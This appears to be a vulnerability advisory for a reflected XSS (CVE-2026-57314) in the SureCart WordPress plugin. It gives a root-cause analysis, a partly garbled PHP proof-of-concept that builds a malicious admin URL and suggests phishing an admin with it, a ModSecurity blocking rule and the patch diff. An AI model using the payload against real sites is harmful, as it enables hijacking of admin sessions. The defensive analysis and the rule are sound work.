{
“analysis”: “Atomic Edge analysis of CVE-2026-57314:nnThis vulnerability is a Reflected Cross-Site Scripting (XSS) in the SureCart plugin for WordPress, versions up to and including 4.3.2. The vulnerability affects the toggle functionality for auto fees and upsell funnels in the admin list tables. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. The CVSS score is 6.1 (Medium).nnThe root cause lies in two files: `surecart/app/src/Controllers/Admin/AutoFees/AutoFeesListTable.php` (line 174-185) and `surecart/app/src/Controllers/Admin/Upsells/UpsellsListTable.php` (line 220-231). In both files, the `$toggle_url` is constructed using `add_query_arg()` with user-controllable parameters, then output directly into an `onClick` handler via `echo esc_url_raw()`. The `esc_url_raw()` function does not encode HTML entities such as single quotes, allowing an attacker to break out of the JavaScript string context. The vulnerable code outputs: `onClick=”window.location.assign(”);”`. Since `esc_url_raw()` allows unencoded characters like a single quote, an attacker can inject JavaScript by including a single quote in the URL parameter.nnAn attacker can exploit this by crafting a URL that navigates to the admin page (e.g., `/wp-admin/admin.php?page=sc-auto-fees`) with a malicious parameter appended with a single quote and JavaScript payload. For example: `?page=sc-auto-fees&test=’-alert(1)-‘`. When the admin user views the list table, the toggle button’s `onClick` attribute will contain the injected script. The attacker must trick an authenticated admin into clicking a link, but no nonce or additional privileges are required to trigger the reflected payload.nnThe patch changes `esc_url_raw()` to `esc_url()` in both vulnerable files. Additionally, the `add_query_arg()` call now includes a fallback URL (the current page) as the second parameter, preventing the URL from being constructed with only query arguments. The key difference is that `esc_url()` performs HTML entity encoding, specifically encoding single quotes as `'`, which prevents breaking out of the JavaScript string context. The patch also adds a return URL parameter (`SureCart::getUrl()->index( ‘auto-fees’ )` and `admin_url( ‘admin.php?page=sc-upsell-funnels’ )`) to ensure the toggle URL is always well-formed.nnIf exploited, an attacker can execute arbitrary JavaScript in the context of the admin’s browser session. This could lead to session hijacking, administrative action execution (creating new admin users, modifying settings), theft of sensitive data (API keys, customer information), or defacement. Since the attack is reflected and requires user interaction, the impact is limited to the victim’s session, but the attacker could gain full administrative control over the WordPress site.,
“poc_php”: ” ‘sc-auto-fees’,n ‘test’ => $payloadn);nn$malicious_url = $target_url . ‘?’ . http_build_query($params);nnecho “[+] CVE-2026-57314 PoC\n”;necho [+] Target: $target_url\n”;necho “[+] Malicious URL:\n”;necho $malicious_url . “\n\n”;necho “[+] Instructions: Send this URL to an authenticated admin. When they visit,\n”;necho ” the XSS will execute in their browser context.\n”;nn// To demonstrate via command line, use curl to fetch the page (won’t execute JS).n// The attacker would use a social engineering approach (phishing email, etc.).necho “[+] To test via curl:\n”;necho “curl -k -c /tmp/cookies.txt -b /tmp/cookies.txt ‘$malicious_url’ 2>&1 | grep -o ‘onClick=\”[^\”]*\”‘\n”;n?>”,
“modsecurity_rule”: “SecRule REQUEST_URI “@streq /wp-admin/admin.php” \n “id:20261994,phase:2,deny,status:403,chain,\n msg:’CVE-2026-57314 SureCart Reflected XSS’,\n severity:’CRITICAL’,tag:’CVE-2026-57314′”n SecRule ARGS_GET:page “@rx ^sc-auto-fees$|^sc-upsell-funnels$” “chain”n SecRule ARGS_GET|ARGS_POST “@rx [\”\x27].*” “t:urlDecode,t:lowercase””
}
Published : July 5, 2026
CVE-2026-57314: SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments <= 4.3.2 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule
CVE ID
CVE-2026-57314
Plugin
surecart
Severity
Medium
(CVSS 6.1)
CWE
79
Vulnerable Version
4.3.2
Patched Version
4.3.3
Disclosed
June 25, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/surecart/app/src/Controllers/Admin/AutoFees/AutoFeesListTable.php
+++ b/surecart/app/src/Controllers/Admin/AutoFees/AutoFeesListTable.php
@@ -174,11 +174,12 @@
'nonce' => wp_create_nonce( 'archive_dynamic_price' ),
'id' => $auto_fees->id,
'status' => 'all',
- ]
+ ],
+ SureCart::getUrl()->index( 'auto-fees' )
);
?>
<sc-switch checked="<?php echo esc_attr( $auto_fees->enabled ) ? 'true' : 'false'; ?>"
- onClick="window.location.assign('<?php echo esc_url_raw( $toggle_url ); ?>'); document.querySelector('#loading-<?php echo esc_attr( $auto_fees->id ); ?>').style.display = '';"></sc-switch>
+ onClick="window.location.assign('<?php echo esc_url( $toggle_url ); ?>'); document.querySelector('#loading-<?php echo esc_attr( $auto_fees->id ); ?>').style.display = '';"></sc-switch>
<sc-block-ui id="loading-<?php echo esc_attr( $auto_fees->id ); ?>" spinner style="display: none;"></sc-block-ui>
<?php
}
--- a/surecart/app/src/Controllers/Admin/Upsells/UpsellsListTable.php
+++ b/surecart/app/src/Controllers/Admin/Upsells/UpsellsListTable.php
@@ -220,11 +220,12 @@
'action' => 'toggle_enabled',
'nonce' => wp_create_nonce( 'archive_product' ), // use archive product nonce.
'id' => $upsell_funnel->id,
- ]
+ ],
+ admin_url( 'admin.php?page=sc-upsell-funnels' )
);
?>
<sc-switch checked="<?php echo esc_attr( $upsell_funnel->enabled ) ? 'true' : 'false'; ?>"
- onClick="window.location.assign('<?php echo esc_url_raw( $toggle_url ); ?>'); document.querySelector('#loading-<?php echo esc_attr( $upsell_funnel->id ); ?>').style.display = '';"></sc-switch>
+ onClick="window.location.assign('<?php echo esc_url( $toggle_url ); ?>'); document.querySelector('#loading-<?php echo esc_attr( $upsell_funnel->id ); ?>').style.display = '';"></sc-switch>
<sc-block-ui id="loading-<?php echo esc_attr( $upsell_funnel->id ); ?>" spinner style="display: none;"></sc-block-ui>
<?php
}
--- a/surecart/dist/admin/abandoned-checkouts.asset.php
+++ b/surecart/dist/admin/abandoned-checkouts.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '70a5be0e8e2be70e724b');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '0b79ee69f315bcce50fb');
--- a/surecart/dist/admin/affiliation-payouts-groups.asset.php
+++ b/surecart/dist/admin/affiliation-payouts-groups.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '081750c814368c0dc11a');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '600de3bce42b6ad36c81');
--- a/surecart/dist/admin/affiliation-payouts.asset.php
+++ b/surecart/dist/admin/affiliation-payouts.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '564ece5d10e7a9e0b07b');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '37286a279f4e28dd0b78');
--- a/surecart/dist/admin/affiliation-referrals.asset.php
+++ b/surecart/dist/admin/affiliation-referrals.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'fcf5ff9d617e58b06d32');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '58fcdffd64573ecd4c59');
--- a/surecart/dist/admin/affiliation-requests.asset.php
+++ b/surecart/dist/admin/affiliation-requests.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'b3f873b139f89051bb42');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'dac8098b43ff585c8910');
--- a/surecart/dist/admin/affiliations.asset.php
+++ b/surecart/dist/admin/affiliations.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'fc068eb341ac0f4175e6');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'b91370e4f1d45d0468b0');
--- a/surecart/dist/admin/auto-fees.asset.php
+++ b/surecart/dist/admin/auto-fees.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '642b820b512e29edcd48');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '1b3905564ba209ca9ef8');
--- a/surecart/dist/admin/bumps.asset.php
+++ b/surecart/dist/admin/bumps.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'a8c94d6b5a5686f4a8a0');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'f742337d26bf5c8507cf');
--- a/surecart/dist/admin/checkouts.asset.php
+++ b/surecart/dist/admin/checkouts.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'c0a5dd92ae810e595be3');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '543a52492f5143644504');
--- a/surecart/dist/admin/coupons.asset.php
+++ b/surecart/dist/admin/coupons.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '9eb3ddfb6a0acf80a8e4');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '1e0d2d46130e2854b48b');
--- a/surecart/dist/admin/customers.asset.php
+++ b/surecart/dist/admin/customers.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'f66e249d379f84c9c46c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '28ec72301a45331892fa');
--- a/surecart/dist/admin/dashboard.asset.php
+++ b/surecart/dist/admin/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-preferences', 'wp-url'), 'version' => '8a8135a5f59081400c3f');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-preferences', 'wp-url'), 'version' => 'c57c263aa6d7691ade78');
--- a/surecart/dist/admin/invoices.asset.php
+++ b/surecart/dist/admin/invoices.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '6cdbb6b3a92cffc021d0');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '4c50955ff99a6beec708');
--- a/surecart/dist/admin/licenses.asset.php
+++ b/surecart/dist/admin/licenses.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'bfd0a07f5e7eba0d1f04');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '641bbd0366670971bb39');
--- a/surecart/dist/admin/onboarding.asset.php
+++ b/surecart/dist/admin/onboarding.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '103e5891b174df57898b');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '568d55af79009dba6613');
--- a/surecart/dist/admin/orders.asset.php
+++ b/surecart/dist/admin/orders.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '8d647b960daa162a623c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'eb11fbb9a317c4373db4');
--- a/surecart/dist/admin/product-collections.asset.php
+++ b/surecart/dist/admin/product-collections.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '64ca81386af01ba243b6');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'e2b72e6aa1b43f584c3d');
--- a/surecart/dist/admin/product-groups.asset.php
+++ b/surecart/dist/admin/product-groups.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'db9859a3bf7cba1831f2');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '042d4547b0a49993b562');
--- a/surecart/dist/admin/products.asset.php
+++ b/surecart/dist/admin/products.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '4e4a2aa68b7f848a6786');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'f5e0ddae2d2fbefe6ecc');
--- a/surecart/dist/admin/reviews.asset.php
+++ b/surecart/dist/admin/reviews.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '79e74587c9160787f286');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'd135d4969b6115e7a1a9');
--- a/surecart/dist/admin/settings.asset.php
+++ b/surecart/dist/admin/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'fdb932864700bfef5761');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '7955d95b712e7c726d2c');
--- a/surecart/dist/admin/settings/learn.asset.php
+++ b/surecart/dist/admin/settings/learn.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '01d4bf1d1c50a4451bd4');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => '0f7723a9588cc7b17156');
--- a/surecart/dist/admin/subscriptions/edit.asset.php
+++ b/surecart/dist/admin/subscriptions/edit.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '275ceea01e2a918eed5f');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '063d34065f5571505d86');
--- a/surecart/dist/admin/subscriptions/show.asset.php
+++ b/surecart/dist/admin/subscriptions/show.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '7e448e9174d734f8d7ee');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'c67261e62f00cad3210e');
--- a/surecart/dist/admin/upsell-funnels.asset.php
+++ b/surecart/dist/admin/upsell-funnels.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'dca6fbcf7e9cf6911ec9');
+<?php return array('dependencies' => array('lodash', 'react', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'e89619824437a3b1b03c');
--- a/surecart/dist/blocks/cart.asset.php
+++ b/surecart/dist/blocks/cart.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '6507fc882a7ec5f6b04a');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '1f257cd28de02145cddd');
--- a/surecart/dist/blocks/library.asset.php
+++ b/surecart/dist/blocks/library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => 'e572c8ca90c827211c67');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => '1803050e739481e0bb06');
--- a/surecart/dist/blocks/product.asset.php
+++ b/surecart/dist/blocks/product.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'a38c1c216f08dc275f56');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '3ad424dfe7eed48ab8b6');
--- a/surecart/dist/blocks/product_collection.asset.php
+++ b/surecart/dist/blocks/product_collection.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '377d3a3faa8c0528f473');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '377d3a3faa8c0528f473');
--- a/surecart/packages/blocks/dist/cart.asset.php
+++ b/surecart/packages/blocks/dist/cart.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '6507fc882a7ec5f6b04a');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '1f257cd28de02145cddd');
--- a/surecart/packages/blocks/dist/library.asset.php
+++ b/surecart/packages/blocks/dist/library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => 'e572c8ca90c827211c67');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => '1803050e739481e0bb06');
--- a/surecart/packages/blocks/dist/product.asset.php
+++ b/surecart/packages/blocks/dist/product.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'a38c1c216f08dc275f56');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '3ad424dfe7eed48ab8b6');
--- a/surecart/packages/blocks/dist/product_collection.asset.php
+++ b/surecart/packages/blocks/dist/product_collection.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '377d3a3faa8c0528f473');
+<?php return array('dependencies' => array('react', 'wp-blockEditor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '377d3a3faa8c0528f473');
--- a/surecart/surecart.php
+++ b/surecart/surecart.php
@@ -3,7 +3,7 @@
* Plugin Name: SureCart
* Plugin URI: https://surecart.com/
* Description: A simple yet powerful headless e-commerce platform designed to grow your business with effortlessly selling online.
- * Version: 4.3.2
+ * Version: 4.3.3
* Requires at least: 6.8
* Requires PHP: 7.4
